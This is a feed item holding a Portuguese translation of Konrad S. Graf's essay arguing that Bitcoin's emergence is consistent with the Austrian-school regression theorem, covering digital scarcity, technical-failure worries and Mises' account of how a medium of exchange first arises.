&lt;/p></content:encoded></item><item><title>Sobre as Origens do Bitcoin: Estágios da Evolução Monetária</title><link>https://cypherpunks.com.br/documentos/origens-do-bitcoin/</link><pubDate>Sun, 03 Nov 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/origens-do-bitcoin/</guid><description>Uma visão desde as origens até a atualidade (2013) da história do bitcoin</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Revista Mises, Daniel Miorim, outros
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;h1 id="sobre-as-origens-do-bitcoin-estágios-da-evolução-monetária">Sobre as Origens do Bitcoin: Estágios da Evolução Monetária&lt;/h1>
&lt;p>&lt;a href="http://konradsgraf.com" target="_blank" rel="noopener noreferrer">&lt;strong>Konrad S. Graf&lt;/strong>&lt;/a>
&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>&amp;ldquo;Com a expansão do tráfego de produtos no espaço terrestre e com a expansão de intervalos cada vez maiores do tempo de provisão necessário para satisfazer as necessidades materiais, cada indivíduo aprenderia, a partir de seus próprios interesses econômicos, a dar-se conta de que ele trocava seus bens menos vendáveis por aquelas mercadorias especiais que exibiam, além da atração de ser altamente vendável na localidade particular, uma ampla gama de vendas em qualquer tempo e lugar.
Esses produtos seriam qualificados por seu custo, fácil transporte e aptidão para preservação&amp;hellip; para garantir ao possuidor um poder, não apenas &amp;ldquo;aqui&amp;rdquo; e &amp;ldquo;agora&amp;rdquo;, mas o mais quase possível ilimitado no espaço e no tempo em geral, sobre todos os outros bens do mercado.&amp;rdquo;&lt;/em> ~ Carl Menger, 1892&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;em>&amp;ldquo;Deve-se reiterar aqui que as escalas de valor não existem em um vazio aparte das escolhas concretas de ação.&amp;rdquo;&lt;/em> ~ Murray Rothbard, 1962&lt;/p>
&lt;/blockquote>
&lt;h2 id="a-batalha-que-nunca-aconteceu-o-teorema-de-regressão-contra-o-bitcoin">A batalha que nunca aconteceu: O teorema de regressão contra o Bitcoin&lt;/h2>
&lt;p>O teorema da regressão cobre vários passos distintos na explicação teórica da evolução de mercado do dinheiro.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Aborda o processo pelo qual um meio de troca emerge da negociação, o processo pelo qual surge um dinheiro dominante de uma conjunto de meios concorrentes de troca, e a forma como as percepções dos usuários sobre os preços passados influenciam suas avaliações sobre o poder de compra do dinheiro olhando para o futuro mais ou menos distante. Essas várias questões distintas nem sempre são suficientemente diferenciadas no discurso.&lt;/p>
&lt;p>Esta perspectiva de desenvolvimento sequencial contrasta com as teorias de atribuição e estatais do dinheiro, que sustentam que o dinheiro é um bilhete de reivindicação que de outra forma não teria valor e que é criado e regulamentado pelos governantes para seu uso entre suas populações subordinadas. Esta última visão pode ser um pouco generosamente apelidada de teoria do dinheiro da conversa-fiada do governante ou criacionismo-monetário. Outra visão diz que o dinheiro é uma misteriosa &amp;ldquo;ilusão social&amp;rdquo; acolhida apenas por convenção arbitrária, independentemente de os agentes estatais terem desempenhado um papel integral ou incidental na construção da ilusão. No entanto, tais relatos parecem oferecer pouca explicação sobre como e por que uma dessas ilusões acaba batendo todas as outras ilusões de candidatos em tempos e lugares específicos.&lt;/p>
&lt;p>É em contraste com relatos tão insatisfatórios que as explicações baseadas em ação e evolutivas da &amp;ldquo;Escola Austríaca&amp;rdquo; há muito se mantiveram. Estes sustentam que&lt;/p>
&lt;ol>
&lt;li>
&lt;p>o dinheiro também é um bem econômico em si, não apenas um bilhete de reivindicação substituto para o estoque social de bens reais, e que&lt;/p>
&lt;/li>
&lt;li>
&lt;p>o desenvolvimento do dinheiro pode ser rastreado a processos econômicos específicos, passo a passo.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Cada uma dessas etapas, de acordo com os austríacos, e Ludwig von Mises em particular, podem ser claramente explicadas em termos de escolhas e ações humanas em termos teóricos universais, e então também ilustradas com exemplos empírico-históricos.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>O teorema da regressão explica um conjunto de implicações lógicas derivadas de conceitos fundamentais de teoria econômica, como &amp;ldquo;bem&amp;rdquo; e &amp;ldquo;meio de troca&amp;rdquo;. No entanto, o passo-a-passo da evolução de mercado associado ao teorema da regressão tem sido geralmente aprendido e compreendido pelos estudantes de economia no contexto de exemplos históricos, todos os quais eram de bens tangíveis.&lt;/p>
&lt;p>As valorações iniciais de papéis menos tangíveis e digitais, totalmente intangíveis, unidades de dinheiro fiduciário também são rastreáveis a bens mais tangíveis em seus longos pedigrees históricos. Combinações de inadimplência de resgate (&amp;ldquo;suspensões de pagamentos&amp;rdquo; legalizadas), aquiescência pública gradual por falta de alternativas melhores, e transições para uma taxa fixa de câmbio legalmente forçada permitiram que unidades cada vez mais abstratas assumissem as funções sociais de seus antepassados mais tangíveis. Os agentes políticos poderiam, então, manipular muito mais livremente a quantidade de dinheiro, particularmente depois que o último vestígio de uma barreira fisicamente ligada à inflação fiduciária caiu em 1971.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>É importante distinguir um desenvolvimento de preços orgânicos e flutuantes, como o do Bitcoin, de conversões legalmente forçadas a uma taxa de câmbio fixa de um dinheiro oficial aposentado para sua nova substituição oficial.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> Um exemplo recente disso foi a substituição legalmente orquestrada de várias moedas políticas nacionais europeias pelo euro. O euro (tanto os de papel quanto os que são dígitos num computador) herdou sua valoração inicial como dinheiro das valorações monetárias de suas moedas antecessoras através da conversão forçada com câmbio fixo. Essas moedas antecessoras, por sua vez, também assumiram seus valores iniciais de taxas de câmbio legalmente fixas contra barras de metal precioso e moedas de metal precioso, taxas de câmbio que foram progressivamente degradadas e eventualmente varridas completamente.&lt;/p>
&lt;p>Tais conversões de valorações legalmente forçadas de um dinheiro para um sucessor oficial contrastam fortemente com as evoluções monetárias originais no mercado. As discussões deste último têm normalmente feito uso da palavra &amp;ldquo;commodity&amp;rdquo; para categorizar nitidamente todos os exemplos históricos disponíveis. Esta palavra parece especificar algum material tangível e divisível.&lt;/p>
&lt;p>Quando Carl Menger definiu os problemas que deveria resolver em &amp;ldquo;On the Origins of Money&amp;rdquo; em 1892&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> ele enquadrou o problema das origens tanto em termos dos dois paradigmas explicativos concorrentes quanto usou essa terminologia &amp;ldquo;commodity&amp;rdquo; ao longo de todo seu trabalho.&lt;/p>
&lt;p>O dinheiro é um membro orgânico no mundo das mercadorias, ou é uma anomalia econômica? Devemos nos referir a moeda comercial e a seu valor no comércio como tendo as mesmas causas que condicionam as de outros bens, ou são um produto distinto advindo da convenção e da autoridade? (13)&lt;/p>
&lt;p>Uma das razões para usar a palavra commodity foi que os bens negociados literalmente nos mercados de commodities, como milho e algodão, foram referenciados nas discussões sobre preços, liquidez e nas discussões sobre as distinções entre as respectivas posições de compradores e vendedores. O uso de exemplos de commodities mais líquidos negociadas no mercado foram contrastados com itens únicos ou de uso especial, como pinturas ou instrumentos técnicos, para os quais é muito mais fácil e rápido para um comprador localizar um vendedor pronto do que para um vendedor localizar um comprador pronto.&lt;/p>
&lt;p>No entanto, para os leitores modernos da era da informação, com sua abundância de &amp;ldquo;bens digitais&amp;rdquo; incorpóreos, a palavra &amp;ldquo;bem&amp;rdquo; deve servir no lugar de commodity ao possuir menos distração materialista. Vários dos grandes escritores austríacos, principalmente Mises, insistiram repetidamente que não devemos ser enganados pelas aparências exteriores das coisas. No entanto, conotações materialistas parecem ter conspirado para levar os observadores à confusão quando se trata de interpretar a moeda digital e o sistema de pagamento do Bitcoin.&lt;/p>
&lt;p>Isso é compreensível, tendo em vista a natureza intangível e tecnicamente ilusória das unidades negociadas dentro da rede — como &amp;ldquo;entradas assinadas&amp;rdquo; criptograficamente e &amp;ldquo;saídas não gastas&amp;rdquo;. Do ponto de vista técnico, ao contrário do ponto de vista do usuário, um item específico que pode ser fixado como &amp;ldquo;um bitcoin&amp;rdquo; nem sequer existe. No entanto, é suficiente do ponto de vista do usuário final usar a metáfora da existência putativa de tal item para entender como fazer uso vantajoso da rede Bitcoin real.&lt;/p>
&lt;p>Muitos elementos técnicos secretos do Bitcoin cruzam os domínios de vários campos de estudo altamente especializados. Embora importantes em seus próprios termos, tais detalhes podem ser uma distração para o lado especificamente econômico da análise, que está preocupado com a estrutura real das ações do usuário final.&lt;/p>
&lt;p>Assim como o uso de moedas de prata no comércio não foi seriamente desafiado com base no fato de que a prata é &amp;ldquo;na verdade&amp;rdquo; apenas uma configuração peculiar de partículas subatômicas entre muitas outras configurações possíveis, as pessoas não não devem se distrair com o fato de que o Bitcoin é &amp;ldquo;na verdade&amp;rdquo; apenas um arranjo peculiar de relações criptográficas específicas mantidas e verificadas dentro de uma global, peer-to-peer, rede de computação de código aberto. Químicos e metalúrgicos estão no negócio de entender os detalhes do primeiro; criptógrafos, cientistas da computação e programadores estão no negócio de entender os meandros do outro.&lt;/p>
&lt;p>No entanto, o Bitcoin realmente funciona &amp;ldquo;sob o capô&amp;rdquo;, e independentemente de especulações e opiniões sobre suas perspectivas de longo prazo, ele &lt;em>está&lt;/em> &lt;em>nesse momento&lt;/em> sendo negociado ano após ano como um bem e ele &lt;em>está nesse momento&lt;/em> sendo usado como um meio de troca cada vez mais amplamente aceito em escala global. Trata-se, portanto, de um bem submetido as categorias relevantes de teoria econômica baseada em ação e de cada uma de suas implicações lógicas. Nenhuma contradição entre o Bitcoin e os insights da teoria econômica associados ao teorema da regressão é possível. No entanto, entender &lt;em>como&lt;/em> é que tais contradições não existem parece ter se provado um desafio.&lt;/p>
&lt;p>Escrevi e falei sobre Bitcoin e a origem do dinheiro várias vezes, assim como Peter Šurda e Daniel Krawisz.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> Como confusões bastante fundamentais parecem persistir, eu ofereço uma série de abordagens adicionais e perspectivas sobre este tópico abaixo. Não só o Bitcoin deve ser mais cuidadosamente compreendido, mas também o teorema de regressão em si, incluindo sua formulação abstrata e baseada em ação e seus vários componentes distintos. Além disso, adicionar algumas formas adicionais de olhar para a natureza do dinheiro esclarecerá ainda mais as questões.&lt;/p>
&lt;h2 id="a-falácia-do-dinheiro-ou-nada">A falácia do &amp;ldquo;dinheiro ou nada&amp;rdquo;&lt;/h2>
&lt;p>Uma pesquisa informal de opiniões de alguns economistas sobre se o Bitcoin é &amp;ldquo;dinheiro&amp;rdquo; ou não apareceu recentemente no site &lt;em>Economic Policy Journal&lt;/em>.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> O consenso bastante razoável era que o Bitcoin está funcionando como um meio de troca agora e poderia um dia ser contado como &amp;ldquo;dinheiro&amp;rdquo; se e quando for muito mais amplamente aceito e se tornar um meio de troca &amp;ldquo;comumente usado&amp;rdquo; ou &amp;ldquo;o mais comumente usado&amp;rdquo;.&lt;/p>
&lt;p>Opiniões sobre a aplicação de palavras como dinheiro são muito menos importantes do que entender o que está acontecendo no mundo real. Em um comentário astuto sob o relatório acima, Peter Šurda, um pesquisador de Bitcoin informado sobre as abordagens escolares austríacas, rotulou uma obsessão contínua em julgar o Bitcoin com base na questão do dinheiro como &amp;ldquo;dinheiro ou nada falácia (se Bitcoin não é dinheiro, não é nada)&amp;rdquo;.&lt;/p>
&lt;p>Além disso, argumentei recentemente que, em vez do vago &amp;ldquo;comumente usado&amp;rdquo;, um critério mais preciso para a qualificação como &amp;ldquo;dinheiro&amp;rdquo; seria qual unidade a maioria das pessoas em uma comunidade está usando para preços e contabilidade (cálculo econômico). Dito isto, a identificação de um item como dinheiro de forma alguma elimina a possibilidade &lt;em>de facto de pagar&lt;/em> os preços designados com qualquer outro meio que um vendedor esteja disposto a aceitar por uma taxa de câmbio acordada para o preço solicitado expresso na unidade comum local de preços.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Para aqueles que desejarem, por exemplo, já existem serviços de pagamento que permitem a conversão instantânea de pagamentos recebidos de Bitcoin em dinheiro fiduciário. Os desenvolvedores também estão trabalhando para habilitar serviços semelhantes para os compradores. Isso daria a opção para alguns usuários hesitantes diante da atual volatilidade de preços do estágio inicial do Bitcoin de segurar o Bitcoin por apenas frações de segundo. Esses serviços permitem que qualquer pessoa aproveite os aspectos do sistema de pagamento da rede, evitando o risco de volatilidade se assim desejarem.&lt;/p>
&lt;p>No entanto, a visão de que há uma suposta oposição entre a realidade do Bitcoin e as supostas implicações do teorema da regressão não é nada senão persistente. Outro comentarista da pesquisa da EPJ perguntou se, como os sucessos contínuos do Bitcoin estão se tornando cada vez mais difíceis de negar, o teorema da regressão pode não ter que ser revisado para fora da economia austríaca. Esse sentimento, que reaparece em tópicos de discussão on-line de tempos em tempos, pode parecer razoável no início, mas apenas quando baseado no equívoco generalizado de que o teorema realmente exige que qualquer dinheiro (sonante) seja material ou tangível, pelo menos em sua origem ou &amp;ldquo;lastro&amp;rdquo;.&lt;/p>
&lt;p>Já argumentei anteriormente o porquê de não haver nenhuma razão teórica para que um meio de troca comece sendo material.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> Só tem que ser um bem escasso. A era digital, e o próprio Bitcoin, deixaram claro que os bens não têm que ser tangíveis. Apesar das escolhas de palavras, como a palavra mercadoria em escritos clássicos sobre este assunto, não há uma razão &lt;em>econômica&lt;/em> fundamental para afirmar que um material físico tem que ser o que garante as características monetárias essenciais — principalmente a escassez. A suposta necessidade de tangibilidade é uma associação que sobra da gama de exemplos que estavam disponíveis antes da era da internet.&lt;/p>
&lt;h2 id="escassez-pelos-números">Escassez pelos números&lt;/h2>
&lt;p>Na nossa época, estamos bastante familiarizados com bens digitais. Parte da aparente magia do Bitcoin é que ele é um dos primeiros bens digitais que também é escasso e rivalizado em sua natureza. Isso contrasta com quase todos os outros bens digitais, que são fundamentalmente copiáveis e não-rivais.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> Isso significa que eles podem ser copiados sem efeito nos &amp;ldquo;originais&amp;rdquo; dos quais as cópias são feitas e as várias cópias resultantes podem ser usadas simultaneamente sem interferência mútua direta entre os usuários.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>&lt;/p>
&lt;p>O prototípico não rivalístico (não-escasso no sentido da teoria da propriedade) foi o arquivo digital. Alguns tentaram &lt;em>renderizar&lt;/em> escassez nos arquivos digitais, anexando restrições legais ou técnicas (direitos autorais e DRM) em cima de sua natureza básica de copiabilidade. Tais tentativas de criar escassez &lt;em>a&lt;/em> &lt;em>posteriori&lt;/em> são significativamente distintas de uma escassez que é construída como uma característica inseparável da natureza do bem em si. A escassez do Bitcoin é um componente &lt;em>do&lt;/em> &lt;em>que significa ser Bitcoin&lt;/em> em oposição a algo que não é Bitcoin.&lt;/p>
&lt;p>Até mesmo a maioria dos outros tipos de moedas digitais anteriores ao Bitcoin eram capazes de ser copiadas (aumentadas em quantidade) através de decisões ou políticas de um emissor central. Exemplos de moedas digitais gerenciadas centralmente incluem o ouro de &lt;em>World of Warcraft&lt;/em> e entradas de contabilidade de bancos centrais denominadas em moeda fiduciária. As inflações no WOW podem ocorrer com base em várias mudanças no equilíbrio dos parâmetros do jogo.&lt;/p>
&lt;p>Quanto às unidades do Banco Central, o fornecimento de notas e as entradas de contas digitais arbitrárias agora dominantes está na jurisdição cada vez mais mutável dos comitês de nomeados políticos cuidadosamente selecionados. Tais fundações instáveis são obviamente incapazes de suportar um dinheiro digital confiável para aplicações mais amplas na sociedade.&lt;/p>
&lt;p>O Bitcoin superou de uma forma completamente nova a ameaça eterna de que uma autoridade central emissora irá diluir arbitrariamente o valor de uma unidade digital. Não está no âmbito do estudo atual descrever os muitos detalhes técnicos, nuances e diferenciações entrelaçados pelos quais isso foi realizado. O ponto chave aqui é que o Bitcoin define sua trajetória de crescimento de oferta &lt;em>dentro da definição do que é a unidade e como ela é criada&lt;/em>. Uma moeda digital com um potencial teórico de mais de 21 milhões de unidades de bitcoin (2,1 quadrilhões de Satoshis) não &lt;em>seria&lt;/em> Bitcoin, por definição de protocolo. Qualquer um é livre para criar outra moeda digital que seja semelhante ao Bitcoin, e muitos o fizeram. Nenhuma dessas outras unidades são, em qualquer sentido, bitcoins. Eles são litecoins e freicoins e assim por diante.&lt;/p>
&lt;h2 id="sobre-preocupações-técnicas-e-realismo-comparativo">Sobre preocupações técnicas e realismo comparativo&lt;/h2>
&lt;p>Ainda assim, alguns estão naturalmente preocupados que uma falha total da rede possa deixar o Bitcoin subitamente sem valor. É importante, desde o início, identificar isso como uma reivindicação que deve ser considerada como sendo em grande parte técnica, e não econômica. É melhor abordado através da referência ao conhecimento e ao debate dentro das áreas mais relevantes. Entre esses campos está a criptografia, especialmente os algoritmos de hash e o uso e verificação de assinaturas criptográficas; design e segurança de rede peer-to-peer, os princípios da construção de ledgers criptográficos descentralizados não falsificáveis e os meandros de superar o consenso distribuído, ou o problema dos generais bizantinos (ter tolerância a falhas bizantinas), com alguma ajuda do conceito de servidor de Timestamp distribuído.&lt;/p>
&lt;p>Ao considerar cenários imaginários de falhas catastróficas do sistema ou até mesmo dificuldades técnicas mais modestas, o conhecimento relevante dessas áreas também pode ser complementado de forma útil em alguns lugares com métodos especificamente econômicos, como a análise econômica da rentabilidade da mineração e incentivos de mineração. Não deve ser necessário tornar-se um especialista nos detalhes técnicos internos de cada campo para fazer referência útil a eles. Deve ser apenas o suficiente para entender bem a relevância desses campos em compreender &lt;em>como&lt;/em> os diversos detalhes técnicos jogam no funcionamento do sistema e no desenvolvimento de avaliações informadas de sua confiabilidade.&lt;/p>
&lt;p>Para o economista que olha para o uso econômico do Bitcoin, deve ser um ponto de partida suficiente observar que todas essas pessoas que realmente usam Bitcoin de fato julgam, por mais racional ou não, que ele é suficiente para servir aos propósitos a que o estão alocando. Isso inclui as várias escalas de tempo que eles têm em mente para esses propósitos, cada uma de acordo com sua série de julgamentos marginais que lhe dizem respeito.&lt;/p>
&lt;p>Assim como não esperamos que todos se tornem engenheiros aeronáuticos antes de comprar uma passagem de avião, não é necessário obter o status matemático de cripto-assistente para usar ou mesmo analisar produtivamente o Bitcoin. Só é necessário, cada um por seus próprios padrões, decidir que o sistema é bom o suficiente para seu próprio conjunto particular de usos imaginados.&lt;/p>
&lt;p>Sem se aprofundar em nenhum conteúdo tão altamente técnico&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> várias considerações gerais podem ajudar a colocar essas preocupações de catástrofe do sistema em uma perspectiva melhor. Na pior das hipóteses, mesmo que o Bitcoin falhe devido a alguma fraqueza inesperada, o conceito e a utilidade da criptomoeda em geral já foi comprovada na prática. Um upgrade do Bitcoin ou até mesmo uma substituição várias vezes mais segura poderia ser implementada, desenvolvedores já tendo aprendido bem com quaisquer erros atualmente inimagináveis poderiam ter levado a uma grande e inesperada falha técnica.&lt;/p>
&lt;p>No caso muito mais provável, porém, é necessário reconhecer que, como um protocolo descentralizado, totalmente voluntário e de código aberto, o Bitcoin é claramente capaz de ser adaptado e atualizado continuamente. Seus colaboradores de programação, usuários e até mesmo maiores críticos trabalham incansavelmente (em altos níveis de sofisticação técnica relevante) para imaginar, discutir, pesar, antecipar e abordar conjuntos de ameaças do sistema, grandes e menores, reais e teorizadas.&lt;/p>
&lt;p>Parte da cultura de segurança de código aberto que aqueles fora dele raramente apreciam é que programadores altamente qualificados, sejam Whitehat ou Blackhat, fazem de suas missões pessoais tentarem quebrar sistemas &amp;ldquo;seguros&amp;rdquo;. Do ponto de vista final da força real de segurança funcional da rede e dos dados, essa constante interação de ameaças e testes é considerada um recurso essencial, em vez de um bug no desenvolvimento de segurança.&lt;/p>
&lt;p>O próprio fato de um sistema seguro — particularmente um como o Bitcoin com uma recompensa monetária direta na forma de moedas extraídas — realmente permanecer seguro ao longo do tempo, ano após ano, já sugere, no mínimo circunstancialmente, que está continuamente passando por uma bateria de testes de segurança contínuos conduzidos por adversários motivados e qualificados e apoiadores motivados e qualificados.&lt;/p>
&lt;p>Além disso, após até mesmo uma quebra catastrófica altamente hipotética, uma rede Bitcoin revisada poderia potencialmente ser relançada da cadeia de blocos existente, a partir da última combinação verificada de propriedade. Como Jay Schmidt frequentemente argumenta, o verdadeiro coração do Bitcoin é o registro da cadeia de blocos do status de propriedade atual em si.&lt;/p>
&lt;p>A cadeia de blocos serve como algo como um enorme registro de títulos globais. Michael Goldstein colocou bem a fácil-de-subestimar importância social de tais registros de propriedade em um contexto maior, citando o romance de Milão Kundera, &lt;em>The Book of Laughter and Forgetting&lt;/em> (1978): &amp;ldquo;A luta do homem contra o poder é a luta da memória contra o esquecimento&amp;rdquo;.&lt;/p>
&lt;p>Os mecanismos técnicos e as operações de rede que circundam a cadeia de blocos são cada tecnologia ou método específico e atualizável &lt;em>com a finalidade de alterar os registros de forma aceitável e verificada&lt;/em>. Cada um desses elementos circundantes pode ser modificado, melhorado ou substituído indefinidamente no futuro (naturalmente alguns elementos são mais fáceis de alterar; outros, mais centrais e mais desafiadores). O Bitcoin não é, nesse sentido, um alvo fixo, mas um em movimento e altamente adaptável.&lt;/p>
&lt;p>Deve-se lembrar também que não há perfeição neste mundo real. Existem apenas opções reais relativamente melhores e piores. Por exemplo, o dinheiro político, longe de ser meramente hipoteticamente inseguro, de fato diminui constante e vertiginosamente o poder de compra do usuário final. Eles fazem isso agora e o fizeram em todos os casos conhecidos ao longo da história.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Ouro e prata, por sua vez, também acabaram falhando como sistemas monetários na prática. Alguma configuração da antiga e duradoura aliança de inflação e dívida do banco estatal sempre resultaram em confisco de tais substâncias valiosas de quaisquer cofres de armazenamento significativos e do público em geral, em parte ou no total, finalmente recorrendo à substituição total de metais preciosos em circulação monetária por papéis fiduciários livremente multiplicados e entradas de contas.&lt;/p>
&lt;p>Os metais preciosos em si, embora tenham certas superioridades relativas ao dinheiro político (e outras fraquezas relativas), são, em princípio, ainda &lt;em>mais&lt;/em> suscetíveis à fraqueza da variação agregada da oferta do que o Bitcoin, especialmente no longo prazo. No extremo, por exemplo, eles seriam suscetíveis à mineração de asteroides ricos em minerais e ao retorno de metais extraídos e refinados.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> Em contraste, uma vez que a trajetória de fornecimento do Bitcoin é pré-determinada como parte da definição do que ele &lt;em>é&lt;/em>, ele é imune a tais mudanças físicas no conjunto de recursos minerais disponíveis e de tecnologias de processamento.&lt;/p>
&lt;p>Uma mistura de prós e contras do mundo real deve ser considerada na comparação de perspectivas de longo prazo para o uso e estabilidade de várias opções. Pessoas reais que enfrentam decisões marginais devem equilibrar idealmente os prós e contras de suas opções realmente disponíveis, em vez de assumir uma perfeição imaginária ou eterna para alguns deles.&lt;/p>
&lt;p>Para os entusiastas do dinheiro sólido, em particular, a história tradicional da uma vez e futura superioridade do dinheiro apoiado por metais preciosos sobre o dinheiro fiduciário deve ser revisitada à luz do surgimento recente de formas monetárias inteiramente novas que nunca foram antecipadas na velha visão binária. O passado deve ser algo do qual aprendemos. No entanto, também foi sabiamente observado que, &amp;ldquo;não há futuro no passado&amp;rdquo;.&lt;/p>
&lt;h2 id="mostre-seu-trabalho-passos-lógicos-estreitos">Mostre seu trabalho: Passos lógicos estreitos&lt;/h2>
&lt;p>Um elemento de confusão contínua por trás do &amp;ldquo;Bitcoin versus teorema da regressão&amp;rdquo; é que este último não cobre uma, mas ao menos algumas questões teóricas distintas, cada uma das quais é bastante específica.&lt;/p>
&lt;p>Uma delas é explicar o poder de compra do dinheiro em termos do nível de preços sem recorrer a um argumento circular no qual os preços de hoje explicam o poder de compra hoje e vice-versa. A solução para isso foi introduzir um elemento temporal. O poder de compra do dinheiro &amp;ldquo;hoje&amp;rdquo; (indo para o futuro) baseia-se em parte nas avaliações dos usuários sobre seu poder de compra de &amp;ldquo;ontem&amp;rdquo; (percepções dos usuários do conjunto de preços passados mais recentes).&lt;/p>
&lt;p>No entanto, essa resposta já levanta a próxima questão: O que acontece quando a &amp;ldquo;regressão&amp;rdquo; nos leva até um tempo anterior a quando aquele que se tornaria um meio de troca ter ganho quaisquer dos seus componentes de valor como meios de troca? Este é o aspecto que se relaciona mais diretamente com a confusão teórica sobre o Bitcoin. Isso explica o primeiro surgimento de qualquer tipo de meio de troca através de um estado anterior em que ainda não era um.&lt;/p>
&lt;p>Mises enfatizou em &lt;em>Ação Humana&lt;/em>&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> que o teorema da regressão não é uma generalização de casos históricos, mas a identificação de uma necessidade teórica universal:&lt;/p>
&lt;p>Não diz: Isso aconteceu naquela época e naquele lugar. Diz: Isso &lt;em>sempre acontece&lt;/em> quando essas condições aparecem&amp;hellip; nenhum bem pode ser empregado para a função de um meio de troca sem que no início de seu uso para este fim não já tivesse valor de troca por conta de outros empregos&amp;hellip; &lt;em>Deve&lt;/em> acontecer assim. Ninguém pode conseguir construir um caso hipotético em que as coisas ocorram de uma maneira diferente. (407; as duas ênfases são minhas)&lt;/p>
&lt;p>Mises não disse &amp;ldquo;deveria ser&amp;rdquo; ou &amp;ldquo;tem sido&amp;rdquo;; ele disse: &amp;ldquo;não há nenhum bem que possa ser empregado&amp;rdquo;, uma alegação de impossibilidade lógica. Este aspecto das &amp;ldquo;origens&amp;rdquo; do teorema da regressão (em oposição ao aspecto de poder de compra e aos aspectos do dinheiro-dominante) afirma que nenhum bem pode ser valorizado para uso &lt;em>como&lt;/em> um meio de troca &lt;em>antes&lt;/em> de assumir tal uso pela primeira vez. Esta é uma declaração de necessidade, de definição.&lt;/p>
&lt;p>Além disso, para assumir um componente de valor como meio de troca, um bem deve primeiro ser valorizado com base em algum &lt;em>outro&lt;/em> componente de valor aos olhos de alguns dos agentes relevantes. Este outro componente de valor deve, obviamente, ter sido distinguível de qualquer outro valor que derive dele como meio-de-troca. Isso ocorre porque esses componentes subsequentes &lt;em>não podem existir antes de seu primeiro surgimento&lt;/em>. Mais uma vez, isso segue por definição do desafio de evitar a circularidade lógica.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Quando os jovens assistem uma aula de matemática, o professor exige que os alunos &amp;ldquo;demonstrem seu trabalho&amp;rdquo;, isto é, demonstrem cada uma das etapas no processo de conclusão. Isso pode ser tedioso e requer muitos pequenos passos. O teorema da regressão em seu contexto forneceu alguns desses passos lógicos de tipo &amp;ldquo;demonstre seu trabalho&amp;rdquo;.&lt;/p>
&lt;p>Lembre-se que os elementos do teorema da regressão foram aperfeiçoados no contexto do debates entre relatos concorrentes das origens do dinheiro. Um lado alegou que o dinheiro era uma invenção do Estado e tinha sido decretado pelos governantes em benefício da sociedade. Seu valor tinha sido determinado e regulado por diversas ações estatais. Outro lado alegou que o dinheiro funcionava como um bem em si mesmo, emergia dos processos de mercado, e só então era tomado e manipulado de várias maneiras pelos governantes ao longo do tempo.&lt;/p>
&lt;p>O majoritariamente alemão lado da teoria estatal do dinheiro&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> encontrou alguns buracos técnicos nos argumentos do lado da evolução do mercado, que estava associado à Universidade de Viena no sul, e que foram rotulados como (aqueles do país-esburacado) &amp;ldquo;austríacos&amp;rdquo;. Os críticos haviam essencialmente exigido que o lado da evolução do mercado &amp;ldquo;demonstrasse seu trabalho&amp;rdquo; no que tange a cada passo de sua teoria do surgimento do mercado de dinheiro (assumindo que eles não teriam realmente sucesso em fazê-lo).&lt;/p>
&lt;p>Os aspectos de origem do teorema da regressão abrangem um período estreito de transição a partir de quando um bem que não era usado como meio de troca passa a ser usado como um pela primeira vez e, em seguida, gradualmente ganha tração social nesse papel. Esse aspecto de origem só é necessário para explicar o primeiro surgimento de um &lt;em>meio de troca&lt;/em> (como meio de pagamento). Não é pedido que ele explique a próxima fase de surgimento de um dinheiro (uma unidade dominante de precificação e contabilidade) em que esse emerge de um ambiente de concorrência de meios de troca.&lt;/p>
&lt;p>Este último é um processo competitivo e orientado para efeitos em rede, no qual uma das opções no mercado subirá para o topo em um determinado contexto. Uma das principais características desses bens é o que Menger chamou de grau de vendabilidade, um indicador que indica a estreita diferença entre o preço a que se pode comprá-lo imediatamente e o preço a que se pode vendê-lo imediatamente (Menger 2009, 24-25, fn 2).&lt;/p>
